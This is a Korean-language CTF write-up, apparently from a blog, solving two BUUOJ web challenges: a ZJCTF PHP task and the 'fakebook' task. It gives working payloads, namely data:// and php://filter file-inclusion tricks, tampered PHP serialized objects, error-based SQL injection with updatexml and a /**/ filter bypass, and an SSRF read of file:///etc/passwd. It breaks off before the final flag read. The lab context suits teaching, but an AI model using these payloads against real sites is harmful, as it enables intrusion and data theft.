ㅏ 갑자기 쓰기가 귀찮아졌다.

 

대충 써야겠다

 

 

 

1. file_get_contents 의 결과를 welcome to the zjctf 로 만들기

 - text=data:text/plain,welcome to the zjctf

 

2. useless.php 내용 읽어오기(lfi)

 - file=php://filter/read=convert.base64-encode/resource=useless.php

 

3. useless.php

4. unserialize로 class Flag를 통해 flag.php 읽기

 

O:4:"Flag":1:{s:4:"file";N;}

에서

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

로 변조해서 unserialize하기

 

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

view-source:http://c589b547-679e-407e-9713-d0a821da98a4.node3.buuoj.cn/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

 

login, join이 있따.

 

특이하게 blog를 입력받는다

 

가입하고 내 username 클릭해보면 이렇게 내가 입력한 정보들이 나타나고, 밑에 frame에 blog주소를 띄워준다.

 

 

robots.txt를 보면 /user.php.bak을 준다.

 

소스를 받아보면,

 

대놓고 ssrf 취약점이 있는데 isValidBlog로 인해 정상적인 가입으로는 file:// 같은 스키마를 사용할 수 없다.

 

 

 

 

아까 게시판 같은 기능을 좀 더 살펴보면 no에 sqli vuln이 있는것을 확인할 수 있다.

 

몇가지 좀 하다보면 union sqli attack이 가능한것을 확인할 수 있다. union이랑 공백이 같이오면 ban이라 /**/로 우회했다.

 

error based sqli로 데이터를 가져와보자

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#

 

/view.php?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

 

대충 가져와보면 글자수 짤리는게 있는데 그런건 substr로 잘 잘라서 찔끔씩 보면 보인다.

 

어쨌든 스키마,테이블,컬럼, 내부데이터 다 추출해보면

 

#fakebook
 - users
  -> no
  -> username
  -> passwd
  -> data
  -> USER
  -> CURRENT_CONNECTIONS
  -> TOTAL_CONNECTIONS

이런 구조가 된다.

 

아직 모르는게 많아서 no,username,passwd,data 까지는 일반적인 데이타인데 뒤에 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS 얘네는 뭐하는 애들인지 잘 모르겠다. 외부 table이랑 join된건가? 아니면 view랑 join된건가..?

 

어쨌든 필요한건 data인데, 앞에 no, username, passwd는 우리가 입력한 값이 박히는데(passwd는 해싱돼서 박히긴한다) data는 뭔가 구조가 이상꾸리하게 생겼다.

 

O:8:"UserInfo":3:{s:4:"name";s:4:"asdf";s:3:"age";i:1;s:4:"blog";s:13:"http://a.com/";}

sqli 하다보면 serialize() 에러가 종종 뜨는데, 딱 생긴것만 봐도 serialize/unserialize인걸 모른다면 그런 에러메세지로 유추할 수도 있다.

 

이제 이걸 union에 넣으면 우리가 원하는 데이터를 unserialize해서 화면에 뿌려줄것이다.

 

O:8:"UserInfo":3:{s:4:"name";s:4:"asdf";s:3:"age";i:1;s:4:"blog";s:18:"file:///etc/passwd";}

 

이제 flag.php를 같은 방식으로 가져오면,

 

+ Recent posts